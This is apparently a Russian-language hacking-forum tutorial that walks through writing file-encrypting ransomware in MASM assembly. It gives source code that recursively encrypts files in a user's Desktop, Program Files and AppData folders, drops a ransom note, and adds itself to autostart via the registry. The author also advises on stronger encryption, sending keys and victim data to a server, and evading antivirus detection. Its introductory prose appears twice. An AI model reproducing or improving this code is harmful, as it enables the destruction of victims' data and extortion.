Всех приветствую. Сегодня мы напишем свой ransom на MASM'е. На написание данной статьи, как и на выбор языка меня подтолкнуло лютое распостранение нечисти в виде клипперов/стиллеров/неба/@ллаха и прочих достаточно простых малварей написанных на C#, продающихся на нынешнем рынке. Хочется обратиться к авторам: вам не стыдно такое продавать? Не стыдно ли вам обманывать других покупателей? "Шкварится" перед другими более адекватными коллегами? Так что я буду периодически публиковать статьи о написании труъ малварей на нативных языках, дабы показать, что малвари можно и НУЖНО писать нативные.
Ну что ж, с приветствиями окончено, пора приступать к самой статье. Код результата, как всегда, в конце статьи.
Для начала настроим линкер, чтобы размер билда был максимально маленьким.
1.Поставим параметр приложения Windows
2.Соединим сегменты в один - .text
3.Вставим кастомный dos stub (ненужная в современных реалиях "заглушка", которая добавляет вашему билду лишних байт)
Здесь после двоеточия вставляете путь к вашему стабу.
Советую почитать об оптимизации программы статью c0d3r_0f_shr0d13ng3r. Там же вы и найдёте стаб.
Далее перейдём к написанию самого шифровальщика:
Напишем главную функцию:
Далее напишем функцию для крипта строк. Я выбрал XorCrypt только ради примера. Этот алгоритм шифрования не подойдёт для боевых условий, так как легко ревёрсится и ключ можно легко подобрать. Если вы спросите какой алгоритм я бы посоветовал, то я бы сказал, что AES-128 неплохо бы подошёл, ибо он более-менее надёжен и не слишком медленный. Естественно чтобы получить +100 к эффективности нужно использовать рандомный ключ. Его потом надо бы на сервер отправить (если, конечно, вы желаете расшифровывать потом файлы
).
Далее основная часть нашей малвари. Процедура рекурсивного поиска и крипта по средствам вышенаписанной функции.
И как заключительный этап - процедура вызывания предупреждения и добавления в автозагрузку файла с самим предупреждением (способ добавления в автозагрузку можете выбирать сами, я выбрал ради примера добавление в реестр).
По похожему принципу написан билд с расшифровкой(только убрано добавление в реестр, запись в файл и вместо сложения+ксора сделали ксор+вычитание (получаем обратный результат)). Сурсы также будут в конце статьи.
Вот и всё. Понимаю, читая код из статьи, можно не понять что происходит в виду отсутствия переменных перед глазами (тех, что находятся в сегменте .data), поэтому я советую, читая эту статью, сопоставлять всё написанное с нижеприкреплённым кодом.
Возможно, я напишу продолжение данной статьи с исправлением/добавлением нужного функционала.
Если быть конкретнее, то это:
-Рандомный ключ и его отправка
-Отправка на сервер данных, включая HWID, UserName, Key(наш ключ)
-Более стойкий алгоритм шифрования
-Сокрытие API и шифрование строк
-Более тщательная оптимизация размера программы
-Визуальный контроль жертв в виде web-панели
-Возможно, ещё что-то этакое
Если есть замечания прошу не молчать, писать. Каждое мнение указывающее на ошибки развивает мышление и дополняет опыт кодера (и не только его).
Ну, что же, вот то что вы так долго ждали и хотели, сурсы и анализ файла на antiscan.me . Сразу хочу сказать, что детекты можно легко сбить скрыв API, зашифровав строки, нацепив иконку и сертификат.
antiscan.me
Ну что ж, с приветствиями окончено, пора приступать к самой статье. Код результата, как всегда, в конце статьи.
Для начала настроим линкер, чтобы размер билда был максимально маленьким.
1.Поставим параметр приложения Windows
Код:
/SUBSYSTEM:WINDOWS
Код:
/MERGE:.code=.text /MERGE:.rdata=.text
Код:
/STUB:C:\gay\custom_dos_stub.bin
Советую почитать об оптимизации программы статью c0d3r_0f_shr0d13ng3r. Там же вы и найдёте стаб.
Далее перейдём к написанию самого шифровальщика:
Напишем главную функцию:
Код:
...
.data
TheString db '*',0
spec1 db "%s%s", 0
spec2 db "\", 0
...
OSPath1 db "USERPROFILE", 0
Desk db "\Desktop\", 0
FullPath1 db 260 dup(0)
FullPath2 db "C:\Program Files\", 0
FullPath3 db "C:\Program Files (x86)\", 0
OSPath4 db "APPDATA", 0
FullPath4 db 260 dup(0)
OSPath5 db "LOCALAPPDATA", 0
FullPath5 db 260 dup(0)
.code
start:
invoke GetModuleHandle, NULL ;получим handle экземпляра программы
mov hInstance, eax
invoke GetCommandLine ;получим адрес командной строки
invoke WinMain, hInstance ,NULL, CommandLine, SW_SHOWDEFAULT ;вызов основной программы (в стандарте Windows)
invoke ExitProcess,eax ;выход из программы с кодом в EAX
WinMain proc, hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
;Получаем пути, вызываем процедуру с рекурсивным поиском и шифровкой файлов.
;Первый аргумент процедуры - путь к директории с символом \ в конце.
invoke GetEnvironmentVariable, addr OSPath1, addr FullPath1, 260
invoke lstrcatA, addr FullPath1, offset Desk
invoke FindMe, addr FullPath1, addr TheString ;вот мы вызываем функцию рекурсивного поиска и шифровки файлов
invoke FindMe, addr FullPath2, addr TheString
invoke FindMe, addr FullPath3, addr TheString
invoke GetEnvironmentVariable, addr OSPath4, addr FullPath4, 260
invoke lstrcatA, addr FullPath4, offset spec2
invoke FindMe, addr FullPath4, addr TheString
invoke GetEnvironmentVariable, addr OSPath5, addr FullPath5, 260
invoke lstrcatA, addr FullPath5, offset spec2
invoke FindMe, addr FullPath5, addr TheString
;Затем создадим файл рабочего стола с сообщением, добавим его в автозагрузку
;и в конце выведем сообщение в MessageBox
invoke DoWarning
ret
WinMain endp
Далее напишем функцию для крипта строк. Я выбрал XorCrypt только ради примера. Этот алгоритм шифрования не подойдёт для боевых условий, так как легко ревёрсится и ключ можно легко подобрать. Если вы спросите какой алгоритм я бы посоветовал, то я бы сказал, что AES-128 неплохо бы подошёл, ибо он более-менее надёжен и не слишком медленный. Естественно чтобы получить +100 к эффективности нужно использовать рандомный ключ. Его потом надо бы на сервер отправить (если, конечно, вы желаете расшифровывать потом файлы
Код:
XorCrypt PROC, lpBytes:PTR BYTE, dwFileSize:DWORD ;основной алгоритм шифрования, вы можете его изменять как хотите. Добавляйте add/sub чё хотите добавляйте - ваше право
;lpBytes - непосредственно байты для шифровки. dwFileSize - размер файлов(кол-во байтов)
cmp dwFileSize, 0 ;Если файл пустой, то зачем его шифроваТь
jz noXor
mov ecx, 0
mov eax, lpBytes
mov dh, 10h ;это будет прибавлятся, чтобы xor шифрование не было таким убогим
mov dl, BYTE PTR [key]
@@:
add [eax+ecx], dh
xor [eax+ecx], dl
inc ecx
cmp ecx, dwFileSize
jne @b
noXor:
ret
XorCrypt ENDP
Далее основная часть нашей малвари. Процедура рекурсивного поиска и крипта по средствам вышенаписанной функции.
Код:
FindMe PROC, Path:DWORD, filter:DWORD ;функция рекурсивного поиска и шифрования файлов
LOCAL PathName[256]:byte
LOCAL buffer1[256]:byte
LOCAL hFind:DWORD
LOCAL dwTemp:DWORD
LOCAL Buffer:PTR BYTE
LOCAL hFile:PTR DWORD
invoke lstrcpy, addR PathName, Path ; put initial dir to PathName
invoke lstrcat, addr PathName, filter ; add * wildcard to PathName
invoke FindFirstFile, addr PathName, addr fd
mov hFind, eax
.if hFind == -1
ret
.endif
.while eax > 0
invoke wsprintfA, addr buffer1, addr spec1, Path, addr fd.cFileName
cmp fd.cFileName, "." ; if '.'found skip them
jz nextf
test fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY ; check if its a dir
jz itsafile ;if not then jump to the file proc
invoke lstrcatA, addr buffer1, addr spec2
invoke FindMe,addr buffer1, filter ; recursive call
jmp nextf
itsafile:
;invoke MessageBoxA, 0, addr buffer1, 0, 0
; вот тут мы нашли файл и обрабатываем его
invoke CreateFileA, addr buffer1, 80000000h or 40000000h, 0, 0, 3, 0, 0 ;открываем файл на чтение и запись
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke GetFileSize, hFile, 0 ;получаем размер файла в байтах
mov ebx, eax
.IF ebx>268435456 ;Если оно будет переваривать что-то больше 128 МБ, то это ё6нуца можно 0_0
ret
.ENDIF
invoke GetProcessHeap
invoke HeapAlloc, eax, 8h, ebx ;сюда впердолим чтобы выделило столько байт сколько в размере файла
mov Buffer, eax
invoke ReadFile, hFile, Buffer, ebx, addr dwTemp, 0 ;читаем байты с файла
.IF eax == 0
jmp EndEnc
.ENDIF
xor eax, eax
invoke XorCrypt, Buffer, ebx ;Шифруем байты с файла
mov esi, eax ;перемещаем шифрованые байты в другой регистр
mov [dwTemp], 0 ;ставим значение написаных байт в 0
invoke SetFilePointer, hFile, 0, 0, 0 ;смещаем указатель в начало файла
invoke WriteFile, hFile, esi, ebx, addr dwTemp, 0 ;записываем в файл
EndEnc:
invoke CloseHandle, hFile
invoke GetProcessHeap
invoke HeapFree, eax, 0, Buffer
;invoke MessageBox,0, addr buffer1, 0, 0
nextf:
invoke FindNextFile, hFind, addr fd ; next
.endw
invoke FindClose,hFind
ret
FindMe endp
И как заключительный этап - процедура вызывания предупреждения и добавления в автозагрузку файла с самим предупреждением (способ добавления в автозагрузку можете выбирать сами, я выбрал ради примера добавление в реестр).
Код:
DoWarning PROC
LOCAL hFile:PTR DWORD
LOCAL dwTemp:DWORD
invoke lstrcatA, addr FullPath1, offset file_name
invoke CreateFileA, offset FullPath1, 40000000h, 0, 0, CREATE_ALWAYS, 0, 0 ;открываем файл на запись
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke lstrlenA, offset MessageRans ;размер сообщения
mov ebx, eax
invoke WriteFile, hFile, offset MessageRans, ebx, addr dwTemp, 0 ;записываем в файл текст с требованием
invoke CloseHandle, hFile
;Добавим в автозагрузку (метод добавления в автозагрузку можете выбирать какой захотите,
;но я выбрал через реестр)
invoke RegCreateKey, HKEY_CURRENT_USER,addr SubKey1, addr HKey
invoke GetModuleFileName, 0, addr namebuf, MAX_PATH
invoke RegSetValueEx, HKey, addr namebuf, 0, REG_SZ, ADDR FullPath1, eax
invoke RegCloseKey, HKey
;То же самое сообщение, но в MessageBox
invoke MessageBoxA, 0, offset MessageRans, 0, 00000040h
ret
DoWarning ENDP
По похожему принципу написан билд с расшифровкой(только убрано добавление в реестр, запись в файл и вместо сложения+ксора сделали ксор+вычитание (получаем обратный результат)). Сурсы также будут в конце статьи.
Вот и всё. Понимаю, читая код из статьи, можно не понять что происходит в виду отсутствия переменных перед глазами (тех, что находятся в сегменте .data), поэтому я советую, читая эту статью, сопоставлять всё написанное с нижеприкреплённым кодом.
Возможно, я напишу продолжение данной статьи с исправлением/добавлением нужного функционала.
Если быть конкретнее, то это:
-Рандомный ключ и его отправка
-Отправка на сервер данных, включая HWID, UserName, Key(наш ключ)
-Более стойкий алгоритм шифрования
-Сокрытие API и шифрование строк
-Более тщательная оптимизация размера программы
-Визуальный контроль жертв в виде web-панели
-Возможно, ещё что-то этакое
Если есть замечания прошу не молчать, писать. Каждое мнение указывающее на ошибки развивает мышление и дополняет опыт кодера (и не только его).
Ну, что же, вот то что вы так долго ждали и хотели, сурсы и анализ файла на antiscan.me . Сразу хочу сказать, что детекты можно легко сбить скрыв API, зашифровав строки, нацепив иконку и сертификат.
AntiScan.Me | Crypt.exe | 7/26
Scan your file online with multiple different antiviruses without distributing the results of your scan.
Вложения
Последнее редактирование: